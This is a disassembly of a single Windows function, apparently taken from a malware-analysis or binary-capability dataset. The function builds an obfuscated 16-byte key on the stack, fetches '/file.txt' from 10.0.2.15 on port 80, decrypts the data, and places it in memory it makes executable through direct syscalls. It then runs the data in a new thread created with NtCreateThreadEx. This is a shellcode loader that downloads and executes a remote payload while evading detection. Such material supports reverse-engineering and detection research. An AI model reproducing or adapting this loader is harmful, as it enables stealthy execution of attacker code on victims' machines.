Function at 0x140011384
Capabilities:
Contain obfuscated stackstrings
Create thread

Disassembly:
jmp 0x140012e80
push rbp
push rdi
sub rsp, 0x458
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x9e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x3e8], rax
lea rcx, [0x1400260f4]
call fcn.14001150f
mov byte [rbp + 0x28], 0x62
mov byte [rbp + 0x29], 0xbf
mov byte [rbp + 0x2a], 0x43
mov byte [rbp + 0x2b], 0x4c
mov byte [rbp + 0x2c], 0x2a
mov byte [rbp + 0x2d], 0x74
mov byte [rbp + 0x2e], 0x71
mov byte [rbp + 0x2f], 0x11
mov byte [rbp + 0x30], 0x3c
mov byte [rbp + 0x31], 0xe6
mov byte [rbp + 0x32], 0xb6
mov byte [rbp + 0x33], 0x56
mov byte [rbp + 0x34], 0x84
mov byte [rbp + 0x35], 0x98
mov byte [rbp + 0x36], 0xe1
mov byte [rbp + 0x37], 0x5f
lea rax, str.10.0.2.15
mov qword [rbp + 0x58], rax
mov dword [rbp + 0x74], 0x50
lea rax, str._file.txt
mov qword [rbp + 0x98], rax
mov rcx, qword [rbp + 0x58]
call fcn.14001156e
mov qword [rbp + 0xb8], rax
mov rcx, qword [rbp + 0x98]
call fcn.14001156e
mov qword [rbp + 0xd8], rax
mov r8, qword [rbp + 0xd8]
mov edx, dword [rbp + 0x74]
mov rcx, qword [rbp + 0xb8]
call fcn.14001130c
mov qword [rbp + 0xf8], rax
cmp qword [rbp + 0xf8], 0
jne 0x140012f7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, qword [rbp + 0xf8]
call fcn.140011226
test rax, rax
jne 0x140012fa2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
lea rdx, [rbp + 4]
mov rcx, qword [rbp + 0xf8]
call fcn.140011532
mov qword [rbp + 0x118], rax
mov qword [rbp + 0x138], 0
mov qword [rbp + 0x158], 0x2000
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x158]
xor r8d, r8d
lea rdx, [rbp + 0x138]
mov rcx, 0xffffffffffffffff
call fcn.140011578
mov dword [rbp + 0x174], eax
cmp dword [rbp + 0x174], 0
jge 0x140013015
mov eax, 1
jmp 0x140013173
mov r9d, 0x10
lea r8, [rbp + 0x28]
mov edx, dword [rbp + 4]
mov rcx, qword [rbp + 0x118]
call fcn.14001122b
mov eax, dword [rbp + 4]
mov r8d, eax
mov rdx, qword [rbp + 0x118]
mov rcx, qword [rbp + 0x138]
call fcn.14001155f
mov dword [rbp + 0x1b4], 0
lea rax, [rbp + 0x1b4]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rbp + 0x158]
lea rdx, [rbp + 0x138]
mov rcx, 0xffffffffffffffff
call fcn.140011118
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0
jge 0x140013096
mov eax, 2
jmp 0x140013173
mov qword [rbp + 0x1f8], 0xffffffffffffffff
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rbp + 0x138]
mov qword [rsp + 0x20], rax
mov r9, 0xffffffffffffffff
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0x1f8]
call fcn.1400112bc
mov dword [rbp + 0x214], eax
cmp dword [rbp + 0x214], 0
jge 0x140013127
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtCreateThreadEx___u__n
call fcn.1400114c9
mov eax, 3
jmp 0x140013173
mov qword [rbp + 0x238], 0xffffffffff676980
lea r8, [rbp + 0x238]
xor edx, edx
mov rcx, qword [rbp + 0x1f8]
call fcn.140011546
mov dword [rbp + 0x254], eax
cmp dword [rbp + 0x254], 0
jge 0x140013171
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Failed_in_sysNtWaitForSingleObject___u__n
call fcn.1400114c9
mov eax, 4
jmp 0x140013173
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x14001d1d0]
call fcn.140011451
mov rax, rdi
mov rcx, qword [rbp + 0x3e8]
xor rcx, rbp
call fcn.14001126c
lea rsp, [rbp + 0x3f8]
pop rdi
pop rbp
ret